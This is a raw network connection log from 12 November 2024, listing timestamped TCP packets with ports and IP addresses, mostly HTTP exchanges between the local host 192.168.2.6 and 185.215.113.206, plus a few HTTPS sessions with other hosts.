Nov 12, 2024 13:35:39.931653976 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.931682110 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.931682110 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.931744099 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.931756020 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.931765079 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.931780100 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.931791067 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.931797981 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.931797981 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.931801081 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.931812048 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.931821108 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.931821108 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.931824923 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.931834936 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.931847095 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.931874990 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.931883097 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.931904078 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.931910992 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.931951046 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.932027102 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.932825089 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.932836056 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.932846069 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.932847977 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.932868958 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.932878971 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.932933092 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.932940006 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.932954073 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.932965994 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.932976961 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.932987928 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.932988882 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.933001041 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.933021069 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.933095932 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.933671951 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.933686972 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.933773041 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.933777094 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.933939934 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.934005976 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.934020996 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.934071064 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.934076071 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.934179068 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.943833113 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.943866968 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.943876982 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.943957090 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.943957090 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.943968058 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.943979025 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.943989992 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.944001913 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.944053888 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.944053888 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.944219112 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.944230080 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.944240093 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.944252014 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.944262028 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.944267035 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.944267035 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.944272995 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.944284916 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.944294930 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.944307089 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.944308043 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.944317102 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.944317102 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.944407940 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.944536924 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.944547892 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.944654942 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.944658995 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.944704056 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.944716930 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.944726944 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.944736004 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.944776058 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.944776058 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.944842100 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.944853067 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.944861889 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.944874048 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.944884062 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.944890022 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.944890022 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.944895983 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.944906950 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.944915056 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.944917917 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.944931030 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.944945097 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.944945097 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.945338964 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.945349932 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.945359945 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.945368052 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.945373058 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.945384979 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.945388079 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.945394993 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.945396900 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.945409060 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.945420027 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.945430040 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.945430040 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.945441008 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.945452929 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.945455074 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.945455074 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.945471048 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.945477009 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.945478916 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.945482969 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.945488930 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.945499897 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.945499897 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.945501089 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.945554018 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.945554018 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.946027994 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.946046114 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.946057081 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.946068048 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.946079016 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.946091890 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.946093082 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.946105957 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.946111917 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.946122885 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.946136951 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.946137905 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.946151972 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.946166039 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.946175098 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.946175098 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.946177959 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.946190119 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.946199894 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.946211100 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.946213961 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.946213961 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.946249008 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.946291924 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.946532011 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.946543932 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.946556091 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.946567059 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.946578026 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.946588993 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.946590900 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.946610928 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.946624994 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.946624994 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.946655989 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.946666956 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.946677923 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.946696043 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.946716070 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.946732044 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.946741104 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.946741104 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.946742058 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.946753025 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.946763039 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.946774960 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.946783066 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.946785927 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.946796894 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.946796894 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.946796894 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.946808100 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.946820021 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.946831942 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.946841955 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.946855068 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.946866989 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.947020054 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.947509050 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.947520018 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.947530985 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.947583914 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.947583914 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.947590113 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.947602034 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.947613001 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.947624922 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.947628975 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.947634935 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.947643995 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.947647095 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.947658062 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.947669029 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.947679996 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.947684050 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.947690010 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.947690010 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.947690010 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.947772026 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.948467970 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.948486090 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.948491096 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.948497057 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.948589087 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.948662996 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.948674917 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.948685884 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.948697090 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.948707104 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.948714972 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.948719025 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.948729038 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.948739052 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.948740959 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.948751926 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.948761940 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.948781967 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.948810101 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.948821068 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.948832035 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.948842049 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.948849916 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.948849916 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.948854923 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.948863029 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.948864937 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.948909044 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.948909044 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.948934078 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.948950052 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.949018002 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.949018002 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.949026108 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.949085951 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.949506998 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.949522972 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.949572086 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.949594021 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.949599028 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.949618101 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.950014114 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.950037956 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.950073957 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.950078011 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.950104952 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.950866938 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.950881004 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.950956106 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.950956106 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.950963020 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.992001057 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.992018938 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.992029905 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.992100954 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.992106915 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.992106915 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.992113113 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.992163897 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.992163897 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.998347998 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.032764912 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.032784939 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.032893896 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.056396008 CET	443	62206	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:40.057221889 CET	62206	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:40.057221889 CET	62206	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:40.057248116 CET	443	62206	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:40.057252884 CET	443	62206	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:40.060399055 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.060411930 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.060421944 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.060476065 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.060486078 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.060487032 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.060540915 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.060543060 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.060550928 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.060561895 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.060573101 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.060585022 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.060601950 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.060611010 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.060657024 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.060674906 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.060684919 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.060687065 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.060702085 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.060729980 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.060745955 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.060746908 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.060760021 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.060770988 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.060798883 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.060847998 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.060864925 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.060875893 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.060887098 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.060892105 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.060897112 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.060920954 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.060946941 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.060946941 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.061013937 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.061026096 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.061036110 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.061047077 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.061058998 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.061068058 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.061077118 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.061105013 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.061140060 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.061152935 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.061173916 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.061192989 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.061192989 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.061206102 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.061218023 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.061227083 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.061239004 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.061249971 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.061300993 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.061300993 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.061338902 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.061359882 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.061440945 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.061451912 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.061461926 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.061474085 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.061486959 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.061573029 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.061584949 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.061594963 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.061605930 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.061606884 CET	80	51556	185.215.113.206	192.168.2.6
